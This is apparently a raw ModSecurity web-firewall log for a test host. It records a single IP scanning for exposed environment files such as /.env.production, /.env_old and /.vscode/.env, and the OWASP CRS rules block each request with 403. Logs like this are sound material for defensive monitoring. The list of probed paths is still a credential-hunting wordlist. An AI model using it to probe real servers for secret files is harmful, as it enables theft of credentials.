[Thu Feb 26 01:02:42.096894 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_old&quot;] [unique_id &quot;aZ-NopqP6Uim1aZiP_g39QAAAAY&quot;]
[Thu Feb 26 01:02:42.104758 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.environment&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.environment&quot;] [unique_id &quot;aZ-NojAL5Lg_nL66HcLgzQAAAAE&quot;]
[Thu Feb 26 01:02:42.104981 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.environment&quot;] [unique_id &quot;aZ-NojAL5Lg_nL66HcLgzQAAAAE&quot;]
[Thu Feb 26 01:02:42.105130 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.environment&quot;] [unique_id &quot;aZ-NojAL5Lg_nL66HcLgzQAAAAE&quot;]
[Thu Feb 26 01:02:42.145992 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.development.sample&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development.sample&quot;] [unique_id &quot;aZ-NopqP6Uim1aZiP_g39wAAAAY&quot;]
[Thu Feb 26 01:02:42.146205 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development.sample&quot;] [unique_id &quot;aZ-NopqP6Uim1aZiP_g39wAAAAY&quot;]
[Thu Feb 26 01:02:42.146408 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development.sample&quot;] [unique_id &quot;aZ-NopqP6Uim1aZiP_g39wAAAAY&quot;]
[Thu Feb 26 01:02:42.189126 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aZ-NojAL5Lg_nL66HcLgzgAAAAE&quot;]
[Thu Feb 26 01:02:42.189347 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aZ-NojAL5Lg_nL66HcLgzgAAAAE&quot;]
[Thu Feb 26 01:02:42.189494 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aZ-NojAL5Lg_nL66HcLgzgAAAAE&quot;]
[Thu Feb 26 01:02:42.225704 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env-sample&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env-sample&quot;] [unique_id &quot;aZ-NopqP6Uim1aZiP_g3-QAAAAY&quot;]
[Thu Feb 26 01:02:42.225925 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env-sample&quot;] [unique_id &quot;aZ-NopqP6Uim1aZiP_g3-QAAAAY&quot;]
[Thu Feb 26 01:02:42.226082 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env-sample&quot;] [unique_id &quot;aZ-NopqP6Uim1aZiP_g3-QAAAAY&quot;]
[Thu Feb 26 01:02:42.235597 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production.local&quot;] [unique_id &quot;aZ-NojAL5Lg_nL66HcLgzwAAAAE&quot;]
[Thu Feb 26 01:02:42.235831 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production.local&quot;] [unique_id &quot;aZ-NojAL5Lg_nL66HcLgzwAAAAE&quot;]
[Thu Feb 26 01:02:42.235990 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production.local&quot;] [unique_id &quot;aZ-NojAL5Lg_nL66HcLgzwAAAAE&quot;]
[Thu Feb 26 01:02:42.264901 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.prod.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod.local&quot;] [unique_id &quot;aZ-NopqP6Uim1aZiP_g3-gAAAAY&quot;]
[Thu Feb 26 01:02:42.265136 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod.local&quot;] [unique_id &quot;aZ-NopqP6Uim1aZiP_g3-gAAAAY&quot;]
[Thu Feb 26 01:02:42.265297 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod.local&quot;] [unique_id &quot;aZ-NopqP6Uim1aZiP_g3-gAAAAY&quot;]
[Thu Feb 26 01:02:42.307014 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.travis&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.travis&quot;] [unique_id &quot;aZ-NopqP6Uim1aZiP_g3-wAAAAY&quot;]
[Thu Feb 26 01:02:42.307243 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.travis&quot;] [unique_id &quot;aZ-NopqP6Uim1aZiP_g3-wAAAAY&quot;]
[Thu Feb 26 01:02:42.307414 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.travis&quot;] [unique_id &quot;aZ-NopqP6Uim1aZiP_g3-wAAAAY&quot;]
[Thu Feb 26 01:02:42.340351 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.test.sample&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test.sample&quot;] [unique_id &quot;aZ-NopqP6Uim1aZiP_g3_AAAAAY&quot;]
[Thu Feb 26 01:02:42.340590 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test.sample&quot;] [unique_id &quot;aZ-NopqP6Uim1aZiP_g3_AAAAAY&quot;]
[Thu Feb 26 01:02:42.340778 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test.sample&quot;] [unique_id &quot;aZ-NopqP6Uim1aZiP_g3_AAAAAY&quot;]
[Thu Feb 26 01:02:42.371357 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.2&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.2&quot;] [unique_id &quot;aZ-NopqP6Uim1aZiP_g3_QAAAAY&quot;]
[Thu Feb 26 01:02:42.371605 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.2&quot;] [unique_id &quot;aZ-NopqP6Uim1aZiP_g3_QAAAAY&quot;]
[Thu Feb 26 01:02:42.371783 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.2&quot;] [unique_id &quot;aZ-NopqP6Uim1aZiP_g3_QAAAAY&quot;]
[Thu Feb 26 01:02:42.382390 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.envs&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.envs&quot;] [unique_id &quot;aZ-NojAL5Lg_nL66HcLg0wAAAAE&quot;]
[Thu Feb 26 01:02:42.382636 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.envs&quot;] [unique_id &quot;aZ-NojAL5Lg_nL66HcLg0wAAAAE&quot;]
[Thu Feb 26 01:02:42.382801 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.envs&quot;] [unique_id &quot;aZ-NojAL5Lg_nL66HcLg0wAAAAE&quot;]
[Thu Feb 26 01:02:42.399763 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.vscode/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.vscode/.env&quot;] [unique_id &quot;aZ-NopqP6Uim1aZiP_g3_gAAAAY&quot;]
[Thu Feb 26 01:02:42.399994 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.vscode/.env&quot;] [unique_id &quot;aZ-NopqP6Uim1aZiP_g3_gAAAAY&quot;]
